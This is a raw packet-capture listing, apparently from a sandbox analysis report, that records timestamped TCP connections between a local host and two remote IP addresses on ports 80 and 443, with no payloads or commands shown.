Dec 6, 2024 22:09:06.093460083 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.093704939 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.093755007 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.094501972 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.094547987 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.094701052 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.094743967 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.095709085 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.095757008 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.095979929 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.096024036 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.096499920 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.096543074 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.096827984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.096875906 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.097506046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.097559929 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.097731113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.097775936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.236979961 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.237164021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.237170935 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.237224102 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.237277985 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.237343073 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.237724066 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.237767935 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.238162041 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.238209963 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.238607883 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.238648891 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.239202023 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.239253998 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.239418983 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.239463091 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.240052938 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.240111113 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.240272999 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.240315914 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.241142988 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.241198063 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.241566896 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.241643906 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.242013931 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.242067099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.242441893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.242502928 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.242713928 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:06.242986917 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.243041039 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.243319988 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.243366003 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.243444920 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:06.243462086 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:06.243912935 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:06.243917942 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:06.244028091 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.244083881 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.244321108 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.244369030 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.245214939 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.245271921 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.245438099 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.245482922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.246107101 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.246160984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.246944904 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.247005939 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.247175932 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.247225046 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.247618914 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.247687101 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.248111963 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.248173952 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.248487949 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.248537064 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.249221087 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.249285936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.249448061 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.249497890 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.250160933 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.250217915 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.250377893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.250423908 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.251164913 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.251234055 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.251410007 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.251458883 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.252202988 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.252273083 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.252448082 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.252496958 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.253226042 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.253292084 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.253463030 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.253509998 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.254264116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.254312992 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.254498959 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.254549980 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.255285025 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.255350113 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.255497932 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.255568027 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.256277084 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.256336927 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.256501913 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.256541967 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.257334948 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.257396936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.257733107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.257798910 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.258335114 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.258400917 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.258630991 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.258683920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.259341955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.259407043 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.259579897 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.259632111 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.260349989 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.260406971 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.260651112 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.260696888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.261403084 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.261457920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.261622906 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.261671066 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.262434006 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.262484074 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.262653112 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.262700081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.263468027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.263520956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.263684988 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.263731956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.264489889 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.264570951 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.264731884 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.264775038 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.265521049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.265572071 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.265824080 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.265867949 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.266509056 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.266555071 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.266716003 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.266761065 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.267549992 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.267604113 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.267767906 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.267812014 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.268548012 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.268604994 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.268781900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.268826962 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.269587040 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.269637108 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.269798040 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.269848108 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.270608902 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.270656109 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.270821095 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.270865917 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.271647930 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.271699905 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.271869898 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.271915913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.272696018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.272746086 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.272916079 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.272962093 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.273752928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.273801088 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.273955107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.273998976 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.274666071 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.274709940 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.274938107 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.274982929 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.275717974 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.275760889 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.275938034 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.275979996 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.276767015 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.276815891 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.276987076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.277030945 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.277795076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.277843952 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.278009892 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.278053045 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.278825998 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.278868914 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.279025078 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.279066086 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.279808998 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.279856920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.280055046 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.280097961 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.280827045 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.280888081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.281064034 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.281112909 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.281867027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.281909943 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.282104969 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.282149076 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.282891989 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.282948971 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.283123970 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.283166885 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.283883095 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.283936977 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.284106970 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.284156084 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.284904957 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.284977913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.285135984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.285183907 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.285944939 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.285990953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.286151886 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.286196947 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.286952972 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.287015915 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.287214994 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.287257910 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.287983894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.288033009 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.288194895 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.288238049 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.289024115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.289232969 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.289267063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.289357901 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.290044069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.290098906 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.290239096 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.290287971 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.370296001 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:06.370980978 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:06.371041059 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:06.371527910 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:06.371532917 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:06.429311991 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.429431915 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.429543018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.429585934 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.429965973 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.430020094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.430411100 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.430464029 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.430855036 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.430902004 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.431289911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.431358099 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.431869030 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.431919098 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.432430983 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.432491064 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.432643890 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.432687044 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.433229923 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.433290958 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.433454037 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.433501959 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.433792114 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.433844090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.434487104 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.434540033 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.434695005 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.434745073 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.435451984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.435507059 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.435693979 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.435743093 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.436481953 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.436539888 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.436702967 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.436752081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.437489986 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.437549114 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.437716007 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.437767982 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.438502073 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.438559055 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.438705921 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.438755989 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.439508915 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.439558029 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.439743996 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.439790964 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.440691948 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.440752029 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.440778017 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.440820932 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.441600084 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.441652060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.441817999 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.441869974 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.442581892 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.442635059 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.442826033 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.442871094 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.443639994 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.443690062 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.443881989 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.443928003 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.444634914 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.444684982 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.444858074 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.444909096 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.445656061 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.445712090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.445939064 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.445981026 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.446707010 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.446760893 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.446923971 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.446973085 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.447702885 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.447752953 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.447917938 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.447969913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.448733091 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.448784113 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.448991060 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.449040890 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.449862003 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.449918032 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.450051069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.450097084 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.450762033 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.450818062 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.450973988 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.451020956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.451805115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:06.451855898 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:06.452024937 CET	80	49830	185.215.113.16	192.168.2.7
